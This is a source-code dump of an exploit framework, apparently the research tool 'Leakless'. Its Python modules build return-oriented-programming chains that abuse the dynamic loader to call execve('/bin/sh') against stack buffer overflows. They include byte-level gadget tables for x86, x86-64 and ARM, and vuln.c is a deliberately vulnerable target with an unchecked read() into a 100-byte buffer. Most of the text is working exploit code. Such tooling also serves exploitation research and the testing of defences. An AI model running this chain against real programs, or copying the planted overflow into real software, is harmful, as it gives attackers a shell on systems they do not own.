copy_dl_resolve = exploit.copy_to_stack(exploit.ptr2str(exploit_info.dl_resolve),
exploit.ptr2str(next_gadget_offset + 0 * exploit.pointer_size))
result += exploit.copy_to_stack(exploit.ptr2str(exploit_info.l_struct),
exploit.ptr2str(len(copy_dl_resolve) + len(function_call))) + \
copy_dl_resolve + \
function_call + \
exploit.filler + \
exploit.ptr2str(exploit_info.reloc_index) + \
stack_frame
else:
raise Exception("Don't know how to launch the exploit")
return result
exploit_method = {
"ld-corrupt": CorruptLdSoExploit,
"craft-dl-structs": CraftDlStructsExploit
}
def main():
# Handle arguments
parser = argparse.ArgumentParser(description='Leakless')
parser.add_argument('executable', metavar='EXECUTABLE', help='Path to the executable to exploit.', nargs=1)
parser.add_argument("-o", '--output', metavar="TYPE", default="rop-chain", help='"rop-chain" will generate a ROP chain to exploit a stack based buffer overflow. "json" will output information about what needs to be written and where, along with the address of _dl_resolve_address and the index to pass it. Default is "rop-chain".')
parser.add_argument("-m", "--method", metavar="METHOD", default="craft-dl-structs", help='"craft-dl-structs" will try to create all the structures necessary to invoke the dynamic loader in a writable memory address.\n"ld-corrupt" changes the pointer to DT_STRTAB ElfN_Dyn entry in an internal data structure of the loader and fakes a .dynstr table. Default is "craft-dl-structs".')
parser.add_argument("-v", '--verbose', action='store_true', help="Print debug information.")
parser.add_argument("-f", '--offset', metavar='OFFSET', type=int, help='Offset to overwrite the saved PC.')
parser.add_argument("-l", '--library', metavar='LIBRARY', type=int, default=0, help='When using the "ld-corrupt" method, use the LIBRARY-th dependency to obtain the dl_resolve pointer. Use `ldd` to get the order of the libraries. By default is 0.')
parser.add_argument("-s", '--size', action="store_true", help="Don't output the acutal ROP chain, but just its size.")
args = parser.parse_args()
executable_path = args.executable[0]
utils.verbose = args.verbose
# TODO: implement "gdb" output method
if args.output in ["json", "ropl"]:
route = "dump"
else:
route = args.output
# Handle registered modules
gadget_providers = {}
modules = glob.glob(os.path.dirname(__file__) + "/plugins/*.py")
modules = [os.path.splitext(os.path.basename(module))[0] for module in modules]
modules.remove("__init__")
for module_name in modules:
module = importlib.import_module("plugins." + module_name)
for key, value in module.register_gadget_provider():
gadget_providers[key] = value
# Instantiate inline a class with the appropriate subclasses
exploit = (type("", (gadget_providers[route], exploit_method[args.method], object), {}))()
exploit.config_from_elf(executable_path)
exploit.library_index = args.library
if args.output == "json":
# TODO: move in an external function
buffer = Buffer(exploit, exploit.writeable_ranges)
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result = exploit.empty_exploit()
result += exploit.write_string(exploit_info.function_name_area, "execve\0")
result += exploit_info.prepare
result = exploit.flush(buffer) + result
what_to_write = []
for gadget_type, value, address, offset in result:
if gadget_type == "write_constant":
address = hex(exploit.str2ptr(address))
elif gadget_type == "write_with_offset":
address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
elif gadget_type == "deref_with_offset_and_save":
address = {"deref": hex(exploit.str2ptr(address)), "offset": hex(exploit.str2ptr(offset))}
what_to_write.append({"address": hex(exploit.str2ptr(value)), "value": address})
continue
what_to_write.append({"address": address, "value": value.encode("hex")})
result = {"write": what_to_write, "reloc_index": exploit_info.reloc_index}
if exploit_info.plt0 is not None:
result["plt0"] = hex(exploit_info.plt0)
else:
result["l_struct"] = hex(exploit_info.l_struct)
result["dl_resolve"] = hex(exploit_info.dl_resolve)
sys.stdout.write(json.dumps(result, indent=4, sort_keys=True) + "\n")
return
elif args.output == "ropl":
# TODO: move in an external function
buffer = Buffer(exploit, exploit.writeable_ranges)
exploit_info = exploit.jump_to(buffer, len("execve\0"))
result = exploit.empty_exploit()
result += exploit.write_string(exploit_info.function_name_area, "execve\0", buffered=False)
result += exploit_info.prepare
result = exploit.flush(buffer) + result
sys.stdout.write("fun main() {\n")
emit = lambda x: sys.stdout.write(" " + x + "\n")
for gadget_type, value, address, offset in result:
if gadget_type == "write_constant":
address = exploit.str2ptr(address)
remaining = len(value) % exploit.pointer_size
if remaining != 0:
value += "\x00" * (exploit.pointer_size - remaining)
for word, address in izip(chunks(value, exploit.pointer_size), xrange(address, address + len(value) / 4, 4)):
emit("v = {}".format(hex(address)))
emit("[v] = {}".format(hex(exploit.str2ptr(word))))
elif gadget_type == "write_with_offset":
address = hex(exploit.str2ptr(address))
offset = hex(exploit.str2ptr(offset))
value = hex(exploit.str2ptr(value))
emit("address = {}".format(address))
emit("target = [address] + {}".format(offset))
emit("[target] = {}".format(value))
elif gadget_type == "deref_with_offset_and_save":
save_address, pointer_address, offset = hex(exploit.str2ptr(value)), hex(exploit.str2ptr(address)), hex(exploit.str2ptr(offset))
emit("target = {}".format(save_address))
emit("source = {}".format(pointer_address))
emit("value = [source] + {}".format(offset))
emit("[target] = [value]".format(save_address))
emit("")
sys.stdout.write("}\n")
return
else:
if args.offset is None:
log("Please give me the offset to reach the saved PC.")
sys.exit(-1)
exploit = launch(exploit, "/bin/sh")
if args.size:
sys.stdout.write(str(len(exploit)) + "\n")
else:
sys.stdout.write("A" * args.offset + exploit)
if __name__ == "__main__":
main()
================================================
FILE: memory.py
================================================
from rangeset import RangeSet
from utils import align, chunks, log
class AllocateFailException(Exception):
pass
class Buffer:
"""Create a Buffer from the specified ranges.
Please provide disjoint ranges."""
def __init__(self, exploit, ranges):
self.exploit = exploit
self.areas = {}
self.ranges = ranges
self.cleanup_ranges()
# TODO: keep track of spaoce left empty and try to reuse it
# TODO: add an upper boundary
def allocate(self, size, align_to=None, alignment=None, name=None, constraint=lambda x,y: True, start=None):
if start is not None:
result = MemoryArea(self.exploit, start, size, align_to, alignment)
if (result.start, result.end) not in self.ranges:
raise Exception("The range (" + hex(result.start) + ", " + hex(result.end) + ") is not allowed")
else:
for candidate_range in self.ranges:
start, end = candidate_range
result = MemoryArea(self.exploit, start, size, align_to, alignment)
start += result.size
while (start < end) and (not constraint(result.start, result.index)):
result = MemoryArea(self.exploit, start, size, align_to, alignment)
start += result.size
if start < end:
break
else:
result = None
if result is None:
raise AllocateFailException("Couldn't find a position for memory area \"" + str(name) + "\" satisfying the imposed constraints before the end of the available buffer.")
else:
# We have to create a hole in the appropriate range
self.ranges = self.ranges - RangeSet(result.start, result.end)
self.cleanup_ranges()
if name is not None:
self.areas[name] = result
return result
def cleanup_ranges(self):
self.ranges = RangeSet.mutual_union(*filter(lambda (start, end): start != end, list(self.ranges)))
def dump(self):
result = ""
for k, v in self.areas.iteritems():
result += "Area " + k + "\n" + "\n".join([" " * 4 + line for line in v.dump().split("\n")]) + "\n"
return result
class MemoryArea:
def __init__(self, exploit, start, size, align_to=None, alignment=None):
self.exploit = exploit
if align_to is not None:
if start < align_to:
raise Exception("Trying to align to a something which is after our buffer: aligning " + self.exploit.pointer_format % start + " to " + self.exploit.pointer_format % align_to)
self.align_to = align_to
self.alignment = size if (alignment is None) else alignment
self.start = align(start, self.align_to, self.alignment)
self.index = (self.start - self.align_to) / self.alignment
else:
self.alignment = 1
self.align_to = 0
self.start = start
self.index = 0
self.content = ""
self.pointer = self.exploit.ptr2str(self.start)
self.size = size
self.end = self.start + self.size
self.wasted = -1
self.is_buffered = False
if self.index < 0:
log("Warning: a negative index has been computed: " + str(self.index))
def dump(self):
result = ""
result += "Start: " + self.exploit.pointer_format % self.start + " (" + self.exploit.closest_section_from_address(self.start) + ")\n"
result += "Size: " + self.exploit.pointer_format % self.size + " (" + str(self.size) + ")\n"
result += "End: " + self.exploit.pointer_format % self.end + "\n"
result += "Base: " + self.exploit.pointer_format % self.align_to + "\n"
result += "Alignment: " + str(self.alignment) + "\n"
result += "Index: " + hex(self.index) + " (" + str(self.index) + ")\n"
result += "Wasted: " + str(self.wasted) + "\n"
result += "Content:\n"
for chunk in chunks(self.content, self.exploit.pointer_size):
result += " " * 4 + " ".join(["%.2x" % ord(c) for c in chunk]) + " " + (self.exploit.pointer_format % self.exploit.str2ptr(chunk) if len(chunk) == self.exploit.pointer_size else "") + "\n"
return result
================================================
FILE: plugins/CommonGadgetsExploit.py
================================================
from exploit import Exploit
from utils import insert_and_replace
class CommonGadgetsExploit(Exploit):
"""Mainly add a pool of gadgets common in the various architectures."""
def __init__(self):
Exploit.__init__(self)
# Good for FreeBSD
# self.add_gadget("EM_386", "writemem", 4,
# " 8b 44 24 08" + # mov eax,DWORD PTR [esp+0x8] \
# " 8b 4c 24 04" + # mov ecx,DWORD PTR [esp+0x4] \
# " 89 01" + # mov DWORD PTR [ecx],eax \
# " c3") # ret
# self.add_gadget("EM_386", "cleanup", 3,
# " 83 c4 0c" + # add esp,0xc \
# " c3") # ret
# Good for Linux
self.add_gadget("EM_386", "writemem", 4,
" 8b 54 24 08" + # mov edx,DWORD PTR [esp+0x8] \
" 8b 44 24 04" + # mov eax,DWORD PTR [esp+0x4] \
" 89 10" + # mov DWORD PTR [eax],edx \
" c3") # ret
# *(*(eax)+ecx) = ebx
self.add_gadget("EM_386", "deref_write_with_offset", 4,
" 58" + # pop eax \
" 5b" + # pop ebx \
" 59" + # pop ecx \
" 8b 00" + # mov eax,DWORD PTR [eax] \
" 89 1c 08" + # mov DWORD PTR [eax+ecx*1],ebx \
" c3") # ret
self.add_gadget("EM_386", "deref_with_offset_and_save", 4,
" 58" + # pop eax \
" 5b" + # pop ebx \
" 59" + # pop ecx \
" 8b 00" + # mov eax,DWORD PTR [eax]
" 8b 04 18" + # mov eax,DWORD PTR [eax+ebx*1] \
" 89 01" + # mov DWORD PTR [ecx],eax \
" c3") # ret
self.add_gadget("EM_386", "copy_to_stack", 4,
" 5b" + # pop ebx \
" 59" + # pop ecx \
" 8b 1b" + # mov ebx,DWORD PTR [ebx] \
" 89 1c 0c" + # mov DWORD PTR [esp+ecx*1],ebx \
" c3") # ret
self.add_gadget("EM_386", "cleanup", 4,
" 5b" + # pop ebx \
" 5e" + # pop esi \
" 5f" + # pop edi \
" 5d" + # pop ebp \
" c3") # ret
self.add_gadget("EM_386", "prepare_memcpy", 4,
" 58" + # pop eax \
" 5e" + # pop esi \
" 01 e6" + # add esi,esp \
" 89 34 04" + # mov DWORD PTR [esp+eax*1],esi \
" c3") # ret
self.add_gadget("EM_386", "custom_cleanup", 4,
" 5b" + # pop ebx \
" 01 dc" + # add esp,ebx \
" c3") # ret
# This gadget requires 6 useless parameters
self.add_gadget("EM_X86_64", "writemem", 8,
" 48 8b 54 24 10" + # mov rdx,QWORD PTR [rsp+0x10] \
" 48 8b 44 24 08" + # mov rax,QWORD PTR [rsp+0x8] \
" 48 89 10" + # mov QWORD PTR [rax],rdx \
" c3") # ret
self.add_gadget("EM_X86_64", "writemem", 8,
" 48 89 37" + # mov QWORD PTR [rdi],rsi \
" c3") # ret
self.add_gadget("EM_X86_64", "cleanup", 6,
" 5b" + # pop rbx \
" 5d" + # pop rbp \
" 41 5c" + # pop r12 \
" 41 5d" + # pop r13 \
" 41 5e" + # pop r14 \
" 41 5f" + # pop r15 \
" c3") # ret
self.add_gadget("EM_X86_64", "args", None,
" 4c 89 ea" + # mov rdx,r13 \
" 4c 89 f6" + # mov rsi,r14 \
" 44 89 ff" + # mov edi,r15d \
" 41 ff 14 dc") # call QWORD PTR [r12+rbx*8]
self.add_gadget("EM_X86_64", "deref_write_with_offset", None,
" 58" + # pop rax \
" 5b" + # pop rbx \
" 59" + # pop rcx \
" 48 8b 00" + # mov rax,QWORD PTR [rax] \
" 48 89 1c 08" + # mov QWORD PTR [rax+rcx*1],rbx \
" c3") # ret
self.add_gadget("EM_X86_64", "deref_with_offset_and_save", None,
" 58" + # pop rax \
" 5b" + # pop rbx \
" 59" + # pop rcx \
" 48 8b 00" + # mov rax,QWORD PTR [rax] \
" 48 8b 04 18" + # mov rax,QWORD PTR [rax+rbx*1] \
" 48 89 01" + # mov QWORD PTR [rcx],rax \
" c3") # ret
self.add_gadget("EM_X86_64", "copy_to_stack", None,
" 5b" + # pop rbx \
" 59" + # pop rcx \
" 48 8b 1b" + # mov rbx,QWORD PTR [rbx] \
" 48 89 1c 0c" + # mov QWORD PTR [rsp+rcx*1],rbx \
" c3") # ret
self.add_gadget("EM_X86_64", "prepare_memcpy", None,
" 5e" + # pop rsi \
" 48 01 e6" + # add rsi,rsp \
" c3") # ret
self.add_gadget("EM_X86_64", "custom_cleanup", None,
" 58" + # pop rax \
" 48 01 c4" + # add rsp,rax \
" c3") # ret
self.add_gadget("EM_X86_64", "prepare_easy", None,
" 5f" + # pop rdi \
" 5e" + # pop rsi \
" 5a" + # pop rdx \
" c3") # ret
# Assume LE
self.add_gadget("EM_ARM", "writemem", 4,
" 00 10 80 e5" + # str r1, [r0] \
" 1e ff 2f e1") # bx lr
# Better not use this due to a bug in QEMU
#self.add_gadget("EM_ARM", "prepare_regs", None,
# " f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc}
self.add_gadget("EM_ARM", "prepare_regs", None,
" f8 85 bd 08") # popeq {r3, r4, r5, r6, r7, r8, sl, pc}
self.add_gadget("EM_ARM", "setup_args", None,
" 07 00 a0 e1" + # mov r0, r7 \
" 08 10 a0 e1" + # mov r1, r8 \
" 0a 20 a0 e1" + # mov r2, sl \
" 01 40 84 e2" + # add r4, r4, #1 \
" 33 ff 2f e1" + # blx r3 \
" 06 00 54 e1" + # cmp r4, r6 \
" f7 ff ff 1a" + # bne 8604 <__libc_csu_init+0x38> \
" f8 85 bd e8") # pop {r3, r4, r5, r6, r7, r8, sl, pc}
self.add_gadget("EM_ARM", "just_ret", None,
" 1e ff 2f e1") # bx lr
def allocate_helpers(self, buffer):
"""Allocate helper buffers needed by some specific platforms (e.g. for cleanup
purposes)"""
result = Exploit.allocate_helpers(self, buffer)
if self.arch == "EM_X86_64":
self.popret = buffer.allocate(self.pointer_size, name="popret")
nope, nope, cleanup_location = self.get_gadget("cleanup")
result += self.write_pointer(self.popret, self.str2ptr(cleanup_location) + 8)
return result
def deref_with_offset_and_save(self, pointer_address, offset, save_address):
"""Dereference the address in the given memory area (pointer_address),
add the offset, and copy the content to the given address
(save_address)."""
none, none, location = self.get_gadget("deref_with_offset_and_save")
return location + pointer_address + offset + save_address
def write_with_offset(self, pointer_address, offset, value):
"""Dereference the address in the given memory area, add the specified
offset and write there the specified value."""
none, none, location = self.get_gadget("deref_write_with_offset")
return location + pointer_address + value + offset
def copy_to_stack(self, offset, source):
"""Copy the content of the given memory area (source) at the specified
offset from the stack pointer. When computing the offset assume the
following layout (assuming 32-bit pointers):
...
&gadget -12
offset -8
&source -4
&next_return_address 0
parameter1 +4
...
"""
none, none, location = self.get_gadget("copy_to_stack")
return location + offset + source
def call(self, invocation, parameters):
"""ROP function invocation: return a ROP chain that sets up the arguments on the
stack and/or on the registers, invoke the function and cleanup the
arguments."""
if self.arch == "EM_386":
return self.call32(invocation, parameters)
elif self.arch == "EM_X86_64":
return self.call64(invocation, parameters)
elif self.arch == "EM_ARM":
return self.call_arm(invocation, parameters)
else:
raise Exception("Unsupported architecture")
def call32(self, invocation, parameters):
"""Implements the i386 calling convention."""
cleanup_size, nope, cleanup_location = self.get_gadget("cleanup")
if len(parameters) > cleanup_size:
raise Exception("Too many parameters, find a better gadget")
prepare = invocation
stack_frame = cleanup_location + \
"".join(map(str, parameters)) + \
self.filler * (cleanup_size - len(parameters))
return prepare, 0, stack_frame
def call64(self, invocation, parameters):
"""Implements the x86_64 calling convention."""
if len(parameters) > 3:
raise Exception("Too many parameters")
elif self.str2ptr(parameters[0]) & 0xffffffff00000000 != 0:
raise Exception("First parameter high part has to be 0")
elif len(parameters) == 0:
return invocation
elif len(parameters) < 3:
parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))
preapare_easy_location = self.get_gadget("prepare_easy")
if preapare_easy_location is not None:
preapare_easy_location = preapare_easy_location[2]
prepare = preapare_easy_location + "".join(parameters)
else:
nope, nope, args_location = self.get_gadget("args")
nope, nope, cleanup_location = self.get_gadget("cleanup")
prepare = cleanup_location
prepare += self.ptr2str(0) # rbx
prepare += self.ptr2str(1) # rbp == rbx + 1
prepare += self.ptr2str(self.fini + 8) # r12, jump to pop;ret
prepare += parameters[2] # r13 -> rdx
prepare += parameters[1] # r14 -> rsi
prepare += parameters[0] # r15 -> edi
prepare += args_location # move registers; call pop;ret
prepare += self.filler * 7
prepare += invocation
return prepare, len(prepare) - len(invocation), ""
def call_arm(self, invocation, parameters):
"""Implements the ARM calling convention."""
if len(parameters) > 3:
raise Exception("Too many parameters, find a better gadget")
elif len(parameters) == 0:
return invocation
elif len(parameters) < 3:
parameters = parameters + [self.ptr2str(0)] * (3 - len(parameters))
nope, nope, prepare_regs_location = self.get_gadget("prepare_regs")
nope, nope, setup_args_location = self.get_gadget("setup_args")
prepare = prepare_regs_location
prepare += invocation[0:4] # r3, target of a blx
prepare += self.ptr2str(0) # r4
prepare += self.filler # r5
prepare += self.ptr2str(1) # r6 == r4 + 1
prepare += parameters[0] # r7 -> r0
prepare += parameters[1] # r8 -> r1
prepare += parameters[2] # sl -> r2
prepare += setup_args_location # pc
prepare += self.filler * 7 # pop again 7 regs + pc
return prepare, len(prepare_regs_location), ""
def do_writemem(self, address, value):
"""Write a pointer-sized buffer to the specfied location. This
function uses the writemem gadget."""
write_size, nope, location = self.get_gadget("writemem")
remaining = ""
if len(value) > write_size:
remaining = value[write_size:]
value = value[0:write_size]
elif len(value) < write_size:
value = value.ljust(write_size, "\0")
# TODO: using kill for this is overkill, create a simpler gadget
prepare, nope, stack_frame = self.call(location, [address, value])
return remaining, prepare + stack_frame
def memcpy(self, destination, data):
write_size, nope, prepare_memcpy_location = self.get_gadget("prepare_memcpy")
write_size, nope, custom_cleanup_location = self.get_gadget("custom_cleanup")
if len(data) % 4 != 0:
data = data + "\x00" * (4 - len(data) % 4)
from utils import log
log("I've to write " + str(len(data)) + " bytes at " + hex(destination))
if self.arch == "EM_386":
result = prepare_memcpy_location + self.ptr2str(self.pointer_size * 3) # + self.ptr2str(0)
prepare, nope, stack_frame = self.call(self.ptr2str(self.memcpy_plt), [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])
invocation = prepare + stack_frame
invocation += custom_cleanup_location + self.ptr2str(len(data))
# Offset from ESP to position of the buffer
result += self.ptr2str(len(invocation))
result += invocation
result += data
return result
elif self.arch == "EM_X86_64":
invocation = prepare_memcpy_location + self.filler + self.ptr2str(self.memcpy_plt)
prepare, invocation_start, stack_frame = self.call(invocation, [self.ptr2str(destination), self.filler, self.ptr2str(len(data))])
invocation = prepare + stack_frame
invocation += custom_cleanup_location + self.ptr2str(len(data))
invocation = insert_and_replace(invocation, self.ptr2str(len(invocation) - invocation_start - self.pointer_size * 2), invocation_start + self.pointer_size)
result = invocation
result += data
return result
#return location + self.ptr2str(0) + self.ptr2str(len(data)) + self.ptr2str(self.memcpy_plt)
else:
raise Exception("Unsupported architecture")
def register_gadget_provider():
return [("rop-chain", CommonGadgetsExploit)]
================================================
FILE: plugins/RawDumperExploit.py
================================================
from exploit import Exploit
class RawDumperExploit(Exploit):
def __init__(self):
Exploit.__init__(self)
self.empty_exploit = lambda: []
def do_writemem(self, address, value):
"""Write a pointer-sized buffer to the specfied location."""
return "", [("write_constant", value, address, None)]
def write_with_offset(self, pointer_address, offset, value):
return [("write_with_offset", value, pointer_address, offset)]
def deref_with_offset_and_save(self, pointer_address, offset, save_address):
return [("deref_with_offset_and_save", save_address, pointer_address, offset)]
def register_gadget_provider():
return [("dump", RawDumperExploit)]
================================================
FILE: plugins/__init__.py
================================================
================================================
FILE: rangeset.py
================================================
"""
This module provides a RangeSet data structure. A range set is, as the
name implies, a set of ranges. Intuitively, you could think about a
range set as a subset of the real number line, with arbitrary gaps.
Some examples of range sets on the real number line:
1. -infinity to +infinity
2. -1 to 1
3. 1 to 4, 10 to 20
4. -infinity to 0, 10 to 20
5. (the empty set)
The code lives on github at: https://github.com/axiak/py-rangeset.
Overview
-------------
.. toctree::
:maxdepth: 2
The rangeset implementation offers immutable objects that represent the range
sets as described above. The operations are largely similar to the
`set object <http://docs.python.org/library/stdtypes.html#set>`_ with the
obvious exception that mutating methods such as ``.add`` and ``.remove``
are not available. The main object is the ``RangeSet`` object.
"""
import bisect
import operator
import functools
import collections
__version__ = (0, 0, 6)
__all__ = ('INFINITY', 'NEGATIVE_INFINITY',
'RangeSet')
_parent = collections.namedtuple('RangeSet_', ['ends'])
class _Indeterminate(object):
def timetuple(self):
return ()
def __eq__(self, other):
return other is self
class _Infinity(_Indeterminate):
def __lt__(self, other):
return False
def __gt__(self, other):
return True
def __str__(self):
return 'inf'
__repr__ = __str__
class _NegativeInfinity(_Indeterminate):
def __lt__(self, other):
return True
def __gt__(self, other):
return False
def __str__(self):
return '-inf'
__repr__ = __str__
INFINITY = _Infinity()
NEGATIVE_INFINITY = _NegativeInfinity()
class RangeSet(_parent):
def __new__(cls, start, end):
if end is _RAW_ENDS:
ends = start
else:
if isinstance(start, _Indeterminate) and isinstance(end, _Indeterminate) and \
start == end:
raise LogicError("A range cannot consist of a single end the line.")
if start > end:
start, end = end, start
ends = ((start, _START), (end, _END))
return _parent.__new__(cls, ends)
def __merged_ends(self, *others):
sorted_ends = list(self.ends)
for other in others:
sorted_ends.extend(RangeSet.__coerce(other).ends)
sorted_ends.sort()
return sorted_ends
@classmethod
def __coerce(cls, value):
if isinstance(value, RangeSet):
return value
elif isinstance(value, tuple) and len(value) == 2:
return cls(value[0], value[1])
else:
return cls.mutual_union(*[(x, x) for x in value])
@classmethod
def __iterate_state(cls, ends):
state = 0
for _, end in ends:
if end == _START:
state += 1
else:
state -= 1
yield _, end, state
def __or__(self, *other):
sorted_ends = self.__merged_ends(*other)
new_ends = []
for _, end, state in RangeSet.__iterate_state(sorted_ends):
if state > 1 and end == _START:
continue
elif state > 0 and end == _END:
continue
new_ends.append((_, end))
return RangeSet(tuple(new_ends), _RAW_ENDS)
union = __or__
def __and__(self, *other, **kwargs):
min_overlap = kwargs.pop('minimum', 2)
if kwargs:
raise ValueError("kwargs is not empty: {0}".format(kwargs))
sorted_ends = self.__merged_ends(*other)
new_ends = []
for _, end, state in RangeSet.__iterate_state(sorted_ends):
if state == min_overlap and end == _START:
new_ends.append((_, end))
elif state == (min_overlap - 1) and end == _END:
new_ends.append((_, end))
return RangeSet(tuple(new_ends), _RAW_ENDS)
intersect = __and__
def __ror__(self, other):
return self.__or__(other)
def __rand__(self, other):
return self.__and__(other)
def __rxor__(self, other):
return self.__xor__(other)
def __xor__(self, *other):
sorted_ends = self.__merged_ends(*other)
new_ends = []
old_val = None
for _, end, state in RangeSet.__iterate_state(sorted_ends):
if state == 2 and end == _START:
new_ends.append((_, _NEGATE[end]))
elif state == 1 and end == _END:
new_ends.append((_, _NEGATE[end]))
elif state == 1 and end == _START:
new_ends.append((_, end))
elif state == 0 and end == _END:
new_ends.append((_, end))
return RangeSet(tuple(new_ends), _RAW_ENDS)
symmetric_difference = __xor__
def __contains__(self, test):
last_val, last_end = None, None
if not self.ends:
return False
if isinstance(test, _Indeterminate):
return False
for _, end, state in RangeSet.__iterate_state(self.ends):
if _ == test:
return True
elif last_val is not None and _ > test:
return last_end == _START
elif _ > test:
return False
last_val, last_end = _, end
return self.ends[-1][0] == test
def issuperset(self, test):
if isinstance(test, RangeSet):
rangeset = test
else:
rangeset = RangeSet.__coerce(test)
difference = rangeset - ~self
return difference == rangeset
__ge__ = issuperset
def __gt__(self, other):
return self != other and self >= other
def issubset(self, other):
return RangeSet.__coerce(other).issuperset(self)
__le__ = issubset
def __lt__(self, other):
return self != other and self <= other
def isdisjoint(self, other):
return not bool(self & other)
def __nonzero__(self):
return bool(self.ends)
def __invert__(self):
if not self.ends:
new_ends = ((NEGATIVE_INFINITY, _START),
(INFINITY, _END))
return RangeSet(new_ends, _RAW_ENDS)
new_ends = list(self.ends)
head, tail = [], []
if new_ends[0][0] == NEGATIVE_INFINITY:
new_ends.pop(0)
else:
head = [(NEGATIVE_INFINITY, _START)]
if new_ends[-1][0] == INFINITY:
new_ends.pop(-1)
else:
tail = [(INFINITY, _END)]
for i, value in enumerate(new_ends):
new_ends[i] = (value[0], _NEGATE[value[1]])
return RangeSet(tuple(head + new_ends + tail), _RAW_ENDS)
invert = __invert__
def __sub__(self, other):
return self & ~RangeSet.__coerce(other)
def difference(self, other):
return self.__sub__(other)
def __rsub__(self, other):
return RangeSet.__coerce(other) - self
def measure(self):
if not self.ends:
return 0
if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):
raise ValueError("Cannot compute range with unlimited bounds.")
return reduce(operator.add, (self.ends[i + 1][0] - self.ends[i][0] for i in range(0, len(self.ends), 2)))
def range(self):
if not self.ends:
return 0
if isinstance(self.ends[0][0], _Indeterminate) or isinstance(self.ends[-1][0], _Indeterminate):
raise ValueError("Cannot compute range with unlimited bounds.")
return self.ends[-1][0] - self.ends[0][0]
def __str__(self):
pieces = ["{0} -- {1}".format(self.ends[i][0], self.ends[i + 1][0])
for i in range(0, len(self.ends), 2)]
return "<RangeSet {0}>".format(", ".join(pieces))
__repr__ = __str__
def __eq__(self, other):
if self is other:
return True
elif not isinstance(other, RangeSet):
try:
other = RangeSet.__coerce(other)
except TypeError:
return False
return self.ends == other.ends
def __ne__(self, other):
return not self.__eq__(other)
def __hash__(self):
return hash(self.ends)
@classmethod
def mutual_overlaps(cls, *ranges, **kwargs):
minimum = kwargs.pop('minimum', 2)
if kwargs:
raise ValueError("kwargs is not empty: {0}".format(kwargs))
return cls.__coerce(ranges[0]).intersect(*ranges[1:], minimum=minimum)
@classmethod
def mutual_union(cls, *ranges):
return cls.__coerce(ranges[0]).union(*ranges[1:])
@property
def min(self):
return self.ends[0][0]
@property
def max(self):
return self.ends[-1][0]
def __iter__(self):
ends_copy = list(self.ends)
for i in range(0, len(ends_copy), 2):
yield (ends_copy[i][0], ends_copy[i + 1][0])
_START = -1
_END = 1
_NEGATE = {_START: _END, _END: _START}
_RAW_ENDS = object()
class LogicError(ValueError):
pass
================================================
FILE: utils.py
================================================
import itertools
import sys
verbose = False
def align(address, base, of):
offset = (address - base) % of
return address if offset == 0 else address + of - offset
def hex_bytes(string):
return "".join(map(lambda x: chr(int(x, 16)), filter(len, string.split(" "))))
def findall(sub, string, addend):
index = 0 - 1
try:
while True:
index = string.index(sub, index + 1)
yield index + addend
except ValueError:
pass
def find_all_strings(sections, string):
result = [list(findall(string, section.data(), section.header.p_vaddr)) for section in sections if string in section.data()]
return sum(result, [])
def find_string(sections, string):
result = [section.header.p_vaddr + section.data().index(string) for section in sections if string in section.data()]
return first_or_none(result)
def first_or_none(list):
return list[0] if len(list) > 0 else None
def log(string):
if verbose:
sys.stderr.write(string + "\n")
def chunks(l, n):
for i in xrange(0, len(l), n):
yield l[i:i+n]
def integer_to_bigendian(n):
s = '%x' % n
if len(s) & 1:
s = '0' + s
return s.decode('hex')
def bigendian_to_integer(string):
return string.encode("hex")
def pairwise(iterable):
"s -> (s0,s1), (s1,s2), (s2, s3), ..."
a, b = itertools.tee(iterable)
next(b, None)
return itertools.izip(a, b)
def filter_none(list):
return filter(lambda entry: entry is not None, list)
def insert_and_replace(original, insert, offset):
return original[:offset] + insert + original[offset + len(insert):]
================================================
FILE: vuln.c
================================================
// Don't include unistd.h otherwise a secure version of read will be used
// #include <unistd.h>
// #include <alloca.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#if !defined(__x86_64__) && !defined(__i386__)
# error "Unsupported architecture"
#endif
char put_me_in_bss[1024] = {0};
int play_with_stack(int i) {
int *local = alloca(10);
local[0] = 123;
intptr_t memcpy_ptr = (intptr_t) memcpy;
return local[i] + memcpy_ptr;
}
void add(int *a, int b) {
*a += b;
}
void mem_to_mem(int *dst, int *src) {
*dst = *src;
}
void writemem(void **in, void *val) {
*in = val;
}
int do_read() {
char buffer[100];
read(0, buffer, 10000);
}
void deref_and_write_with_offset() {
#if defined(__x86_64__)
__asm__("pop rax; pop rbx; pop rcx; mov rax,QWORD PTR [rax]; mov QWORD PTR [rax+rcx*1],rbx; ret;");
#elif defined(__i386__)
__asm__("pop eax; pop ebx; pop ecx; mov eax,DWORD PTR [eax]; mov DWORD PTR [eax+ecx*1],ebx; ret;");
#endif
}
void deref_with_offset_and_save() {
#if defined(__x86_64__)
__asm__("pop rax; pop rbx; pop rcx; mov rax, [rax]; mov rax,QWORD PTR [rax+rbx]; mov QWORD PTR [rcx],rax; ret;");
#elif defined(__i386__)
__asm__("pop eax; pop ebx; pop ecx; mov eax, [eax]; mov eax,DWORD PTR [eax+ebx]; mov DWORD PTR [ecx],eax; ret;");
#endif
}
void copy_to_stack() {
#if defined(__x86_64__)
__asm__("pop rbx; pop rcx; mov rbx, QWORD PTR [rbx]; mov QWORD PTR [rsp+rcx*1],rbx; ret;");
#elif defined(__i386__)
__asm__("pop ebx; pop ecx; mov ebx, DWORD PTR [ebx]; mov DWORD PTR [esp+ecx*1],ebx; ret;");
#endif
}
void load_memcpy() {
#if defined(__x86_64__)
__asm__("pop rsi; add rsi,rsp; ret;");
__asm__("pop rax; add rsp,rax; ret;");
#elif defined(__i386__)
__asm__("pop eax; pop esi; add esi,esp; mov DWORD PTR [esp+eax], esi; ret;");
__asm__("pop ebx; add esp,ebx; ret;");
#endif
}
void args() {
#if defined(__x86_64__)
__asm__("pop rdi; pop rsi; pop rdx; ret;");
#endif
}
int main() {
do_read();
}
gitextract_1hr6vo3a/ ├── .gitignore ├── CMakeLists.txt ├── README.md ├── exploit.py ├── memory.py ├── plugins/ │ ├── CommonGadgetsExploit.py │ ├── RawDumperExploit.py │ └── __init__.py ├── rangeset.py ├── utils.py └── vuln.c
SYMBOL INDEX (122 symbols across 7 files)
FILE: exploit.py
class Exploit (line 51) | class Exploit:
